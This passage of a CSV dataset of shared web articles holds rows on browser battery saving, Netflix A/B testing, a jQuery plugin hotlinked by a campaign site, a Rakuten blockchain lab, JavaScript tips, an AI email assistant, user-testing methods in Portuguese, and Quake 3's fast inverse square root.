JavaScript doesn't have the authority to control the brightness directly, but we can do so by changing the color pallet to a darker theme. The next thing we can do is limit the amount and size of requests to external resources. The biggest drainers here are high-res images, advertisements, and large JavaScript libraries, as they need a lot of bandwidth to download. Here we have two options - load an alternative, more optimized resource with a smaller footprint, or, fully remove the image/advert if it doesn't portray any essential information. Any background images, videos or animations should be removed. The last battery-drainer we will talk about is JavaScript. We already mentioned that download large libraries and frameworks is bad enough, but the actual parsing and execution of JS block can also lead to unnecessary spending. JavaScript animations that cause constant redrawing of elements on the screen, listening for notifications form the server, and multiple AJAX requests can all drain the battery just a tiny bit, but it quickly adds up. According to this study, the JavaScript code consumes ~7% of Yahoo's total rendering energy, ~17% on Amazon, and more than 20% on YouTube. App With Powersaving Mode We have showcased some of the above concepts in a simple demo app. It consists of a static website which reacts to the amount of battery left. When it gets below 30% the app goes into PowerSaving and turns darker, stops all animations, and removes all ads. For demonstration purposes our app works with a virtual battery to enable quick toggling between fully charged and almost dead. It does not contain much code for working with the Battery API itself. You can get the full code for the demo from the Download button near the top of the article. It's written in Vue.js for easier data monitoring and has lots of comments to guide you through all that is happening. Further Reading If you want to find out more about the Battery Status API or about ways your precious battery is running down the drain, check out these excellent resources: Battery Status API on MDN - here The BatteryManager interface on MDN - here 5 Ways to Improve Battery Life in Your App - here Who Killed My Battery: Analyzing Mobile Browser Energy Consumption - here by Danny Markov Danny is Tutorialzine's Bootstrap and HTML5 expert. When he is not in the office, you can usually find him riding his bike and coding on his laptop in the park.",en
1471966518,CONTENT SHARED,-5808672937983623398,-709287718034731589,-8543976727396364315,,,,HTML,http://blog.invisionapp.com/how-netflix-does-ab-testing/,How Netflix does A/B testing - InVision Blog,"A couple of weeks ago, I attended a Designers + Geeks event at Yelp's headquarters in San Francisco. Anna Blaylock and Navin Iyengar, both Product Designers at Netflix , shared insights gleaned from their years of A/B testing on tens of millions of Netflix members. They also showed some relevant examples from the product to help attendees think about their own designs. What follows is my recap of their presentation, along with some of my favorite takeaways. Experimentation I really liked this first slide of the presentation-I think it's smart to use an image from Breaking Bad to explain the concept of experimentation . The scientific method Hypothesis In science, a hypothesis is an idea or explanation that you then test through study and experimentation. In design, a theory or guess can also be called a hypothesis. The basic idea of a hypothesis is that there is no pre-determined outcome. It's something that can be tested, and those tests can be replicated. ""The general concept behind A/B testing is to create an experiment with a control group and one or more experimental groups (called 'cells' within Netflix) which receive alternative treatments. Each member belongs exclusively to one cell within a given experiment, with one of the cells always designated the 'default cell.' This cell represents the control group, which receives the same experience as all Netflix members not in the test.""  - The Netflix Tech Blog Here's how A/B testing is done at Netflix: As soon as the test is live, they track specific metrics of importance. For example, it could be elements like streaming hours and retention. Once the participants have provided enough meaningful conclusions, they move onto the efficacy of each test and define a winner out of the different variations. ""A/B testing is the most reliable way to learn user behaviors."" Experiment Many companies like Netflix run experiments to generate user data. It's also important to take time and effort to organize the experiment properly to ensure that both the type and amount of data is sufficient and available to clarify the questions of interest as efficiently as possible. You've probably noticed that the featured show on the Netflix homepage seems to change whenever you log in. They're all part of Netflix's complex experiments to get you to watch their shows. The idea of A/B testing is to present different content to different user groups, gather their reactions, and use the results to build strategies in the future. According to this blog post written by Netflix Engineer Gopal Krishnan , ""If you don't capture a member's attention within 90 seconds, that member will likely lose interest and move onto another activity. Such failed sessions could at times be because we did not show the right content or because we did show the right content but did not provide sufficient evidence as to why our member should watch it."" Netflix did an experiment back in 2013 to see if they could create a few artwork variants that increase the audience for a title. Here's the result: Krishnan adds, ""It was an early signal that members are sensitive to artwork changes. It was also a signal that there were better ways they could help Netflix members find the types of stories they were looking for within the Netflix experience."" Netflix later created a system that automatically grouped artwork that had different aspect ratios, crops, touch-ups, and localized title treatments but had the same background image. They replicated experiment on their other TV shows to track relative artwork performance. Here are some examples: Check out these 2 blog posts to learn more about Netflix's A/B testing: What I learned A/B testing is the most reliable way to learn user behaviors. As designers, we should think about our work through the lens of experimentation. When and why are you A/B testing? Once you have a design in production, use A/B testing to tweak the design and target 2 key metrics: retention and revenue. By A/B testing changes throughout the product and tracking users over time, you can see whether your change improves retention or increases revenue. If it does, make it the default. In this way A/B testing can be used to continuously improve business metrics. Are your users finding or doing one thing you want them to find or to do? My experience is that often, users cannot always complete a task as fast as you expect , and sometimes they can't even find a certain button you put on a page. The reasons can vary: It might be because the design isn't intuitive enough; the color isn't vibrant enough; the user isn't tech-savvy; they don't know how to make a decision because there are too many options on one page; and so on. Are your intuitions correct? Sadly, when it comes to user behavior, our intuitions could be wrong-and the only way to prove it is through A/B testing. A/B testing is the best way to validate whether one UX design is more effective than another. At work, our consumer product team proved that through A/B testing on our real estate website. For example, they wanted to figure out whether they can make a design change to improve the registration rate for users who clicked on a Google Ad. They created a few different experimental designs and tested them. They thought the design that only hides the property image would win, but they found that the design that hides both the property image and the price got the highest conversation rate. ""Knowing your user is the most exciting part of the design process."" Explore the boundaries. The best ideas come from many idea explorations. At work, our product team works collaboratively across many different projects. With so many parties involved (from designers to product managers to developers ), we get to explore the boundaries together. Some of the best ideas sometimes come from the developers or the product managers after they test out our prototypes. Observe what people do, not what they say. When talking to users, it's important to keep this in mind: They always say one thing, but they really do it differently. I conducted a few user testing sessions this week and have one perfect example to show you why. I had this one user testing out a contacts list view prototype and asked him if he usually sorts/filters his contacts. He said no because he wouldn't need do so. But when he discovered the new filters dropdown menu, he was amazed by how convenient it is to sort and filter multiple options at a time-and he immediately asked when that can roll out in production. Use data to estimate the size of opportunity. 1. It's always about the whys . Data can help shape ideas. Knowing your user is the most exciting part of the design process. There is no finished design, but many chances for iteration to improve the design and give our users the best experience possible. This post was originally published on Medium . Related posts",en
1471966791,CONTENT REMOVED,-5808672937983623398,-709287718034731589,-8543976727396364315,,,,HTML,http://blog.invisionapp.com/how-netflix-does-ab-testing/,How Netflix does A/B testing - InVision Blog,"A couple of weeks ago, I attended a Designers + Geeks event at Yelp's headquarters in San Francisco. Anna Blaylock and Navin Iyengar, both Product Designers at Netflix , shared insights gleaned from their years of A/B testing on tens of millions of Netflix members. They also showed some relevant examples from the product to help attendees think about their own designs. What follows is my recap of their presentation, along with some of my favorite takeaways. Experimentation I really liked this first slide of the presentation-I think it's smart to use an image from Breaking Bad to explain the concept of experimentation . The scientific method Hypothesis In science, a hypothesis is an idea or explanation that you then test through study and experimentation. In design, a theory or guess can also be called a hypothesis. The basic idea of a hypothesis is that there is no pre-determined outcome. It's something that can be tested, and those tests can be replicated. ""The general concept behind A/B testing is to create an experiment with a control group and one or more experimental groups (called 'cells' within Netflix) which receive alternative treatments. Each member belongs exclusively to one cell within a given experiment, with one of the cells always designated the 'default cell.' This cell represents the control group, which receives the same experience as all Netflix members not in the test.""  - The Netflix Tech Blog Here's how A/B testing is done at Netflix: As soon as the test is live, they track specific metrics of importance. For example, it could be elements like streaming hours and retention. Once the participants have provided enough meaningful conclusions, they move onto the efficacy of each test and define a winner out of the different variations. ""A/B testing is the most reliable way to learn user behaviors."" Experiment Many companies like Netflix run experiments to generate user data. It's also important to take time and effort to organize the experiment properly to ensure that both the type and amount of data is sufficient and available to clarify the questions of interest as efficiently as possible. You've probably noticed that the featured show on the Netflix homepage seems to change whenever you log in. They're all part of Netflix's complex experiments to get you to watch their shows. The idea of A/B testing is to present different content to different user groups, gather their reactions, and use the results to build strategies in the future. According to this blog post written by Netflix Engineer Gopal Krishnan , ""If you don't capture a member's attention within 90 seconds, that member will likely lose interest and move onto another activity. Such failed sessions could at times be because we did not show the right content or because we did show the right content but did not provide sufficient evidence as to why our member should watch it."" Netflix did an experiment back in 2013 to see if they could create a few artwork variants that increase the audience for a title. Here's the result: Krishnan adds, ""It was an early signal that members are sensitive to artwork changes. It was also a signal that there were better ways they could help Netflix members find the types of stories they were looking for within the Netflix experience."" Netflix later created a system that automatically grouped artwork that had different aspect ratios, crops, touch-ups, and localized title treatments but had the same background image. They replicated experiment on their other TV shows to track relative artwork performance. Here are some examples: Check out these 2 blog posts to learn more about Netflix's A/B testing: What I learned A/B testing is the most reliable way to learn user behaviors. As designers, we should think about our work through the lens of experimentation. When and why are you A/B testing? Once you have a design in production, use A/B testing to tweak the design and target 2 key metrics: retention and revenue. By A/B testing changes throughout the product and tracking users over time, you can see whether your change improves retention or increases revenue. If it does, make it the default. In this way A/B testing can be used to continuously improve business metrics. Are your users finding or doing one thing you want them to find or to do? My experience is that often, users cannot always complete a task as fast as you expect , and sometimes they can't even find a certain button you put on a page. The reasons can vary: It might be because the design isn't intuitive enough; the color isn't vibrant enough; the user isn't tech-savvy; they don't know how to make a decision because there are too many options on one page; and so on. Are your intuitions correct? Sadly, when it comes to user behavior, our intuitions could be wrong-and the only way to prove it is through A/B testing. A/B testing is the best way to validate whether one UX design is more effective than another. At work, our consumer product team proved that through A/B testing on our real estate website. For example, they wanted to figure out whether they can make a design change to improve the registration rate for users who clicked on a Google Ad. They created a few different experimental designs and tested them. They thought the design that only hides the property image would win, but they found that the design that hides both the property image and the price got the highest conversation rate. ""Knowing your user is the most exciting part of the design process."" Explore the boundaries. The best ideas come from many idea explorations. At work, our product team works collaboratively across many different projects. With so many parties involved (from designers to product managers to developers ), we get to explore the boundaries together. Some of the best ideas sometimes come from the developers or the product managers after they test out our prototypes. Observe what people do, not what they say. When talking to users, it's important to keep this in mind: They always say one thing, but they really do it differently. I conducted a few user testing sessions this week and have one perfect example to show you why. I had this one user testing out a contacts list view prototype and asked him if he usually sorts/filters his contacts. He said no because he wouldn't need do so. But when he discovered the new filters dropdown menu, he was amazed by how convenient it is to sort and filter multiple options at a time-and he immediately asked when that can roll out in production. Use data to estimate the size of opportunity. 1. It's always about the whys . Data can help shape ideas. Knowing your user is the most exciting part of the design process. There is no finished design, but many chances for iteration to improve the design and give our users the best experience possible. This post was originally published on Medium . Related posts",en
1471966811,CONTENT SHARED,2468005329717107277,-709287718034731589,-8543976727396364315,,,,HTML,https://uxdesign.cc/how-netflix-does-a-b-testing-87df9f9bf57c?gi=27177b9af62,How Netflix does A/B Testing - uxdesign.cc - User Experience Design,"How Netflix does A/B Testing Have you ever wondered why Netflix has such a great streaming experience? Do you want to learn how they completed their homepage plus other UI layout redesigns through A/B testing? If so, then this article is for you! I'll start with sharing my takeaways from a Designers+Geeks event I attended last week at Yelp . The two great speakers Anna Blaylock and Navin Iyengar, both product designers at Netflix , walked through insights gleaned from their years of A/B testing on tens of millions of Netflix members, and showed some relevant examples from the product to help attendees think about their own designs. Experimentation I really liked this first slide of the presentation and think it's smart to use an image from the TV show "" Breaking Bad "" to explain the concept of experimentation! The Scientific Method Hypothesis In science, a hypothesis is an idea or explanation that you then test through study and experimentation. In design, a theory or guess can also be called a hypothesis . The basic idea of a hypothesis is that there is no pre-determined outcome. It is something that can be tested and that those tests can be replicated. ""The general concept behind A/B testing is to create an experiment with a control group and one or more experimental groups (called ""cells"" within Netflix) which receive alternative treatments. Each member belongs exclusively to one cell within a given experiment, with one of the cells always designated the ""default cell"". This cell represents the control group, which receives the same experience as all Netflix members not in the test."" - Netflix blog Here's how A/B testing is done at Netflix: as soon as the test is live, they track specific metrics of importance. For example, it could be elements like streaming hours and retention. Once the participants have provided enough meaningful conclusions, they move onto the efficacy of each test and define a winner out of the different variations. Experiment Experimentation is the act of experimenting .Many companies like Netflix run experiments to generate user data. It is also important to take time and effort to organize the experiment properly to ensure that both the type and amount of data is sufficient and available to clarify the questions of interest as efficiently as possible. You probably have noticed that the featured show on the Netflix homepage seems to change whenever you log in. They're all part of Netflix's complex experiments to get you to watch their shows. The idea of A/B testing is to present different content to different user groups, gather their reactions and use the results to build strategies in the future. According to this blog post written by Netflix engineer Gopal Krishnan : If you don't capture a member's attention within 90 seconds, that member will likely lose interest and move onto another activity. Such failed sessions could at times be because we did not show the right content or because we did show the right content but did not provide sufficient evidence as to why our member should watch it. Netflix did an experiment back in 2013 to see if they can create a few artwork variants that increase the audience for a title. Here is the result: It was an early signal that members are sensitive to artwork changes. It was also a signal that there were better ways they could help Netflix members find the types of stories they were looking for within the Netflix experience. Netflix later created a system that automatically grouped artwork that had different aspect ratios, crops, touch ups, localized title treatments but had the same background image. They replicated experiment on their other TV shows to track relative artwork performance. Here are some examples: How Netflix selects the best artwork for videos through A/B testing The Netflix experimentation platform , a service which makes it possible for every Netflix engineering team to implement their A/B tests with the support of a specialized engineering team. Check out these two blog posts to learn more about Netflix A/B testing: What I learned When and why A/B testing Once you have a design in production, use A/B testing to tweak the design and target two key metrics: retention and revenue. By A/B testing changes throughout the product and tracking users over time, you can see whether your change improves retention or increases revenue. If it does, make it the default. In this way A/B testing can be used to continuously improve business metrics. Are your users finding or doing one thing you want them to find or to do? My experience is that often times users cannot always complete a task as fast as you expect, and sometimes they can't even find a certain button you put on a page. The reasons can vary: it might because the design is not intuitive enough; the color is not vibrant enough; the user is not tech savvy; they don't know how to make a decision because there are too many options on one page, and so on. Are your intuitions correct? Sadly, when it comes to user behavior, our intuitions could be wrong, and the only way to prove it is through A/B testing. It is the best way to validate whether one UX design is more effective than another. At work, our consumer product team have proved that through A/B testing on our real estate website. For example, they wanted to figure out whether they can make a design change to improve the registration rate for users who clicked on a Google Ad. They created a few different experimental designs and tested them. They thought the design that only hides the property image would win, but found that the design that hides both the property image and the price got the highest conversation rate. Explore the boundaries The best ideas come from many idea explorations. At work, our product team works collaboratively across many different projects. With so many parties involved (from designers to product managers to developers), we get to explore the boundaries together. Some of the best ideas are sometime from the developers or the product managers after testing out our prototypes. Observe what people do, not what they say When talking to users, it's important to keep this in mind: they always say one thing but do it differently. I conducted a few user testing sessions this week and have one perfect example to show you why. I had this one user testing out a Contacts list view prototype and asked him if he usually sorts/filters his Contacts. He said no because he wouldn't need do so. However, when he discovered the new filters dropdown menu, he was amazed by how convenient it is to sort and filter multiple options at a time and immediately asked when that can roll out in production. Use data to estimate size of opportunity * It's always about the whys * Data can help shape ideas * Check if any A/B testing are in conflict A/B testing is the most reliable way to learn user behaviors. As designers, we should think about our work through the lens of experimentation. Isn't it so fun to be a UI and UX designer? :) Knowing your user is the most exciting part of design process! There is no finished design, but many chances for iteration to improve the design and give our users the best experience possible! I enjoy the opportunity to make subtle tweaks for our users, measure their reactions and work with the product team to figure out the next steps. If you like this article, please kindly tap the ❤ button below! :)",en
1471971418,CONTENT SHARED,5849490334294127641,-6153009241569363021,-5542995392249134800,,,,HTML,https://github.com/gotwarlost/istanbul/blob/master/ignoring-code-for-coverage.md,gotwarlost/istanbul,"istanbul - Yet another JS code coverage tool that computes statement, line, function and branch coverage with module loader hooks to transparently add coverage when running tests. Supports all JS coverage use cases including unit tests, server side functional tests and browser tests. Built for scale.",en
1471977088,CONTENT SHARED,-2489051066377567114,7645894863578715801,4439681235916350392,,,,HTML,http://www.igorescobar.com/blog/2016/08/21/ive-the-chance-to-troll-donald-trump-but-i-didnt/,I've had the chance to troll Donald Trump. But I didn't.,"The craziest thing that could possibly happen on my professional life as a Software Engineer happened on August 18th, 2016. That day I discovered that I could perform a massive Rick Roll attempt against the US presidential candidate Donald Trump . The crazy story begins with an unexpected e-mail from a guy named Shu Uesugi - a San Francisco based Engineer currently working for EdSurge - asking for permission to mention my name and share to the world what he just discovered . After reading his e-mail and his draft I was like: The short story is that Donald Trump has a donate page which is using my open-source project jQuery Mask Plugin to guide his visitors on the tricky quest of filling up web forms - so far so good. The shit hits the fan when the developer of his 2MM dollars website decides to include the minified version of jquery mask plugin file pointing directly to the demonstration page of my project (hosted in github.io). I have 100% control over this file and the developer simply injected the file on the page (instead of saving the file on his servers) and I could just replace or inject something nasty in it to make the most ambitious trolling attempt against the US presidential candidate. Yet, in shock, I decided to share this with my personal friends on Facebook: In only MY post I got 714 likes, 139 comments and an impressive 262 shares, hundreds of people randomly sending me friend requests, sending me messages on Twitter, Facebook and e-mails... giving me ideas and warning me about the window of opportunity that I got to do something about Trump. People really liked the possibilities of what Uesugi discovered . At the end of the post I asked for ideas of what each person would do if they were in my position - oh boy... that was fun ! @igorescobar SO. MUCH. POWER. - Eduardo Shiota (@shiota) August 18, 2016 All of the sudden I became some sort of super-man with a power that could change the world. People were like... DO IT! DO IT! Say something! Make a beautiful rain of penises with wings upon his website! And I was like... Wow... People really want to say something to this guy... They even opened a hilarious pull request on their own, pure team work, in attempt to do something and hoping I'd merge it (sadly it was deleted). The discovery was discussed everywhere: After watching all this, receiving all those tweets, messages and emails showing nothing but pure hate love towards Trump. Of course, the bad news spreads fast and in a matter of hours the code on Trump's website was fixed. People were in tears. e.g: Then I posted this on twitter: Yep. At the bottom of your heart you agree with me that this would be wrong. jQuery Mask Plugin is a serious project which took years of hard work and commitment to the community to build its reputation. I can't just throw it all away for the public's amusement. To make people laugh. To make a statement against someone - even if this someone is a US presidential candidate like Donald Trump. The true sad history behind this is that Donald Trump's website cost 2MM dollars, they are using several open sourced projects like our jQuery Mask Plugin and they don't even donated 1.00 freaking dollar in our donate page to support its development . Posts Relacionados:",en
1471977525,CONTENT SHARED,895442114569096829,-6316613156648676087,-7419586883833209544,,,,HTML,http://www.crowdfundinsider.com/2016/08/89317-rakuten-acquires-bitnet-plans-open-blockchain-lab-northern-ireland/,"Rakuten Acquires Bitnet, Plans to Open Blockchain Lab in Northern Ireland - Crowdfund Insider","Rakuten, Inc. announced the opening of the Rakuten Blockchain Lab (R.B.L.) in Belfast, Northern Ireland, UK, planned for August 22, 2016 on its website and blog . R.B.L. will be a dedicated research and development organization within Rakuten, focused on blockchain technology and its potential applications in the fintech and e-commerce sectors. ""We are delighted that Rakuten have chosen to open their new Blockchain Lab here in Belfast. There are so many great opportunities for blockchain technologies inside Rakuten and the newly created lab will be instrumental in delivering new and innovative solutions"" said Fergal Downey, VP of Engineering of the new Rakuten Blockchain Lab. The establishment of R.B.L. follows the acquisition by Rakuten of IP assets from Bitnet Technologies Ltd. , operators of a digital payments platform powered by blockchain. R.B.L. day-to-day operations will be headed up by Chief Technology Officer Stephen McNamara and VP of Engineering Downey, both of whom will join from Bitnet. ""Given Rakuten's reach into banking, payments and insurance, as well as a host of digital services, no one can doubt Rakuten's position as a fintech leader,"" observed McNamara. ""We're looking forward to exploring and creating many new interesting applications of blockchain technology for Rakuten and their customers"" The Lab will be part of Rakuten's Ecosystem Services organization under its Technology Division, which is led by Fernando Paulo , Executive Officer, Rakuten, Inc. ""Drawing on the significant IP assets and deep engineering expertise of the Bitnet team and combining that with Rakuten's leadership in fintech and support of innovative solutions, the new Rakuten Blockchain Lab will be our first step toward unlocking blockchain's potential to revolutionize the way that financial and e-commerce transactions are conducted,"" added Yasufumi Hirai , Rakuten Group Executive Vice President, CIO, CISO and Head of the Technology Division. ""It's quite possible that in the near future blockchain will revolutionize the way that financial and e-commerce transactions are conducted. We want to not only prepare for that change, but take a leading role in making it happen.""",en
1471988255,CONTENT SHARED,-1022885988494278200,3609194402293569455,2476005711861360409,,,,HTML,https://blog.jscrambler.com/12-extremely-useful-hacks-for-javascript/,12 JavaScript Hacks,"In this post I will share 12 extremely useful hacks for JavaScript . These hacks reduce the code and will help you to run optimized code. So let's start hacking! 1) Converting to boolean using !! operator Sometimes we need to check if some variable exists or if it has a valid value, to consider them as true value . For do this kind of validation, you can use the !! (Double negation operator) a simple !!variable , which will automatically convert any kind of data to boolean and this variable will return false only if it has some of these values: 0 , null , """" , undefined or NaN , otherwise it will return true . To understand it in practice, take a look this simple example: In this case, if an account.cash value is greater than zero, the account.hasMoney will be true. 2) Converting to number using + operator This magic is awesome! And it's very simple to be done, but it only works with string numbers, otherwise it will return NaN (Not a Number) . Have a look on this example: This magic will work with Date too and, in this case, it will return the timestamp number: 3) Short-circuits conditionals If you see a similar code: You can shorten it by using the combination of a variable (which will be verified) and a function using the && (AND operator) between both. For example, the previous code can become smaller in one line: You can do the same to check if some attribute or function exists in the object. Similar to the below code: 4) Default values using || operator Today in ES6 there is the default argument feature. In order to simulate this feature in old browsers you can use the || (OR operator) by including the default value as a second parameter to be used. If the first parameter returns false the second one will be used as a default value. See this example: 5) Caching the array.length in the loop This tip is very simple and causes a huge impact on the performance when processing large arrays during a loop. Basically, almost everybody writes this synchronous for to iterate an array: If you work with smaller arrays - it's fine, but if you process large arrays, this code will recalculate the size of array in every iteration of this loop and this will cause a bit of delays. To avoid it, you can cache the array.length in a variable to use it instead of invoking the array.length every time during the loop: To make it smaller, just write this code: 6) Detecting properties in an object This trick is very useful when you need to check if some attribute exists and it avoids running undefined functions or attributes. If you are planning to write cross-browser code, probably you will use this technique too. For example, let's imagine that you need to write code that is compatible with the old Internet Explorer 6 and you want to use the document.querySelector() , to get some elements by their ids. However, in this browser this function doesn't exist, so to check the existence of this function you can use the in operator, see this example: In this case, if there is no querySelector function in the document object, we can use the document.getElementById() as fallback. 7) Getting the last item in the array The Array.prototype.slice(begin, end) has the power to cut arrays when you set the begin and end arguments. But if you don't set the end argument, this function will automatically set the max value for the array. I think that few people know that this function can accept negative values, and if you set a negative number as begin argument you will get the last elements from the array: 8) Array truncation This technique can lock the array's size, this is very useful to delete some elements of the array based on the number of elements you want to set. For example, if you have an array with 10 elements, but you want to get only the first five elements, you can truncate the array, making it smaller by setting the array.length = 5 . See this example: 9) Replace all The String.replace() function allows using String and Regex to replace strings, natively this function only replaces the first occurrence. But you can simulate a replaceAll() function by using the /g at the end of a Regex: 10) Merging arrays If you need to merge two arrays you can use the Array.concat() function: However, this function is not the most suitable to merge large arrays because it will consume a lot of memory by creating a new array. In this case, you can use Array.push.apply(arr1, arr2) which instead creates a new array - it will merge the second array in the first one reducing the memory usage: 11) Converting NodeList to Arrays If you run the document.querySelectorAll(""p"") function, it will probably return an array of DOM elements, the NodeList object. But this object doesn't have all array's functions, like: sort() , reduce() , map() , filter() . In order to enable these and many other native array's functions you need to convert NodeList into Arrays. To run this technique just use this function: [].slice.call(elements) : 12) Shuffling array's elements To shuffle the array's elements without using any external library like Lodash , just run this magic trick: Conclusion Now you learned some useful JS hacks which are largely used to minify JavaScript code and some of these tricks are used in many popular JS frameworks like Lodash, Underscore.js, Strings.js, among others. If you want to go even deeper and learn more about how you can minify your code even more and even protect it from prying eyes talk to us . I hope you enjoyed this post and if you know other JS hacks, please leave your comment on this post!",en
1471999492,CONTENT SHARED,621816023396605502,-1443636648652872475,560375642352974408,,,,HTML,http://www.wired.com/2016/08/boomerang-using-ai-help-send-better-email/,AI Is Here to Help You Write Emails People Will Actually Read,"Looking for an artificial intelligence that can write all your email messages so you don't have to? Too bad. That dream is still years away. But in the meantime, a startup called Boomerang wants to take you at least part of the way there. Boomerang makes a plug-in for Gmail and Outlook that lets you hit the ""snooze button"" on certain messages. They'll disappear from your inbox but then reappear at later time. But today, the company added a new twist to this plug-in: a new AI-powered tool called ""Respondable."" Respondable analyzes your messages as you write them, predicts how likely they are to get a response, and then suggests ways you can improve them. If your subject line it too terse, for instance, or the email's tone seems rude, it will tell you. In theory, this will make life easier for people on both ends on the exchange: The recipient the email will get clearer, more actionable emails, and the sender should be more likely to get a prompt response. The project is in its early days but it does give us a glimpse of how AI might work in concert with humans, not to take our jobs but to make our jobs a bit easier. The tool is part of a much wider effort to push artificial intelligence into our email and calendar services. The startup Crystal scrapes publicly available data about the people you send email to and gives you tips on what style of email you they might prefer based on their personality. Clara and X.ai analyze your email to help you schedule meetings. And Microsoft just acquired a meeting coordination startup called Genee. Meanwhile, Google is already generating simple automatic replies to emails. But Boomerang is in a unique position to offer this particular service. In addition to helping you snooze emails, the plugin can also remind you about emails you're waiting on a response to. That gives the company a nice big set of data about which emails receive responses and which don't. While companies companies like Google and Microsoft obviously have access to much bigger piles of email, Boomerang CEO Alex Moore says his company's approach may be more accurate. ""Gmail is going to see a lot of email that people aren't necessarily expecting a reply to,"" he explains. But users are clearly expecting to receive responses to the messages they ask Boomerang to monitor. The company also relies on pubic data sets to help train its algorithms. Specifically, Moore says, the company drew upon movie reviews to help its AI learn the difference between text with a positive sentiment and text with a negative sentiment. The algorithms are a mix of different AI approaches, including deep learning , a branch of AI benefitting from a wealth of research and open source software released by big name companies, including Google, Facebook, and Microsoft. But Moore says that in many cases, deep learning algorithms are hard to work with because it's hard to tell why they produce the results they do. ""We focused on algorithms that are explainable,"" he says. Moore says the most surprising thing the team learned is that responses drop-off significantly for emails that use language above about a sixth grade reading level, but emails that are too simple tend to be ignored as well. A 3rd grade reading level is optimal. He was also surprised that neutral emails tend to receive fewer responses than positive or negative emails. In short, being too negative is bad, but being slightly negative is better than being boring.",en
1472005870,CONTENT SHARED,-2217888411555964341,2553895156129400476,3010561532069553559,,,,HTML,http://arquiteturadeinformacao.com/pesquisa-com-usuarios-2/tipos-de-teste-com-usuarios-explicados-em-gifs/,Tipos de teste com usuários explicados em GIFs,"O pessoal do Froont (mesmos autores da série de GIFs que explicam o que é Design Responsivo ), resolveram usar o formato de imagens animadas mais famoso da internet para ilustrar os principais tipos de Teste com Usuários que fazemos no nosso dia-a-dia. Testes A/B O conceito é simples: você direciona metade da sua audiência para ver a versão A de uma página, e a outra metade para ver a versão B. A versão que conseguir atingir seu objetivo de negócios com mais eficácia (exemplo: fazer as pessoas se cadastrarem para receber novidades sobre sua empresa), vence. Empresas maiores, como Google e Amazon, usam testes A/B o tempo todo - e algumas vezes chegam a rodar vários testes A/B ao mesmo tempo. Esse tipo de teste é ideal para otimizar a performance de uma página que você já tenha redesenhado recentemente, e costuma ser focado em testar pequenas variações de layout, texto, ou posicionamento de elementos na tela. Mapas de calor Mapas de ""calor"" e de cliques mostram, obviamente, onde os usuários estão clicando em cada página. Esse tipo de visualização te ajuda a entender as áreas mais proeminentes no seu layout e que chamam mais atenção dos usuários. Testes de Usabilidade Um dos tipos de teste mais clássicos: você senta com um usuário e aprende como ele realmente usa seu website ou seu produto. Você pré-determina algumas tarefas que ele precisa realizar e assiste para verificar se ele tem dificuldades em algum ponto. Leia também: Teste de usabilidade: o que é e para que serve? Gravar a sessão pode ajudar mais para frente, quando você for discutir os aprendizados com seu cliente, ou até mesmo para lembrar dos problemas que os usuários tiveram na hora de propor melhorias para a interface. É o tipo de teste ideal para tomar decisões estratégicas e para criar hipóteses de melhoria do produto. Pesquisas quantitativas online Pesquisas online são um jeito rápido de conseguir resultados quantitativos (em alguns casos, qualitativos também) sobre uma ideia ou produto. Quanto mais pessoas respondem a essa pesquisa (normalmente através de um questionário), mais apurado o resultado. Leia também: Questionário online - você está perguntando direito? Pesquisas online são uma forma rápida e simples de confirmar uma hipótese que você tenha ou determinar como os usuários reagem a alguma ideia - mas têm menos valor na hora de tomar decisões estratégicas sobre o produto. Se você se interessa pelo assunto, recomendo acompanhar a série aqui do blog sobre Pesquisa com Usuários . Nela, entramos em um pouco mais de profundidade em cada um desses métodos - pelo menos mais profundidade do que um GIF consegue transmitir.",pt
1472034535,CONTENT SHARED,1252762949661329700,-6627505417926774253,-1726633705054029898,,,,HTML,http://jorgelucasti.blogspot.com.br/2016/01/quake-3-arena-e-o-metodo-fast-invsqrt.html?m=1,Quake 3 Arena e o método Fast InvSqrt(),"A raiz quadrada inversa é uma função matemática extremamente útil e com muitas aplicações em diversas áreas. Na área da informática este cálculo também pode ser utilizado para solucionar os mais variados problemas. Entretanto, destaca-se a sua aplicação em jogos eletrônicos para determinar ângulos de incidência e reflexão, muito úteis para gerar iluminação e sombras em ambientes tridimensionais. Entretanto, alcançar a raiz quadrada inversa de um número durante a execução de um jogo criava uma situação bastante desconfortável aos programadores de jogos, que já lutavam contra os limites de hardware e de programação da época. Realizar este cálculo inúmeras vezes por segundo exigia muito do processador, por isso os programadores buscavam soluções a qualquer custo para minimizar o seu alto custo de processamento e conseguir um resultando ao menos semelhante. E é justamente aí que entra o jogo Quake 3 Arena , lançado em 1999. A função Fast InvSqrt (abreviação de Fast inverse square root - ""Raiz quadrada inversa rápida"" ) apareceu pela primeira vez no código fonte do viciante jogo Quake 3 Arena . O método consegue com apenas seis linhas de código retornar um valor bastante aproximado da raiz quadrada inversa, façanha esta que reduz custos de processamento e roda pelo menos quatro vezes mais rapidamente do que qualquer outro algoritmo que tente encontrar a raiz quadrada inversa de um número, como o (float)(1.0/sqrt(x)) , recurso nativo e popular da década de noventa (LOMONT, 2003). ATENÇÃO: Antes de irmos com tanta sede ao código, que tal relembrarmos alguns detalhes básicos? Variáveis do tipo int correspondem a variáveis que armazenam números inteiros como valor. Já as variáveis do tipo float armazenam números flutuantes, que fazem parte justamente do formato de representação de números reais utilizado pelo computador. Parece bobagem, mas não precisaremos de muito mais do que isso para estudarmos esse interessantíssimo trecho de código. Agora que terminamos essa pequena revisão, segue abaixo o método (que é uma função, ou seja, retorna o valor da variável) com os devidos comentários: Excluindo o cabeçalho do método (a primeira linha) e a chave que o fecha (última linha), sobram seis linhas de lógica. É incrível como o algoritmo não utiliza divisões e expoentes, apenas multiplicação e deslocamento de bits. A função estima a raiz inversa e utiliza o Método de Aproximação de Newton-Raphson (Aproximação de Newton), uma fórmula empregada para encontrar um valor aproximado de uma raiz de qualquer função matemática. Repetir a Aproximação de Newton refina a acurácia (precisão) do valor, fazendo com que ele se aproxime cada vez mais da raiz. Curiosamente, o método Fast InvSqrt() utiliza apenas uma rodada da Aproximação de Newton. Mesmo com os comentários acrescidos, algumas linhas ainda nos deixam com algumas dúvidas, por isso tratarei de explicá-las neste parágrafo. Depois da variável xhalf receber o valor de x multiplicado por 0.5f (é a adaptação de uma passagem da Aproximação de Newton, o resultado - produto - será reaproveitado na sexta linha), a terceira linha faz uma conversão ( cast ) de ponto flutuante para inteiro e armazena o valor na variável i (ok, eu sei que agora foi um pouco pesado, mas garanto que se você tentar ler pausadamente, vai entender muito bem). A quarta linha é uma das mais importantes , tendo a responsabilidade de fazer a estimativa inicial para a Aproximação de Newton. Devido a sua alta complexidade, vamos atentar aos detalhes de sua funcionalidade e não como os autores desta heurística adaptaram 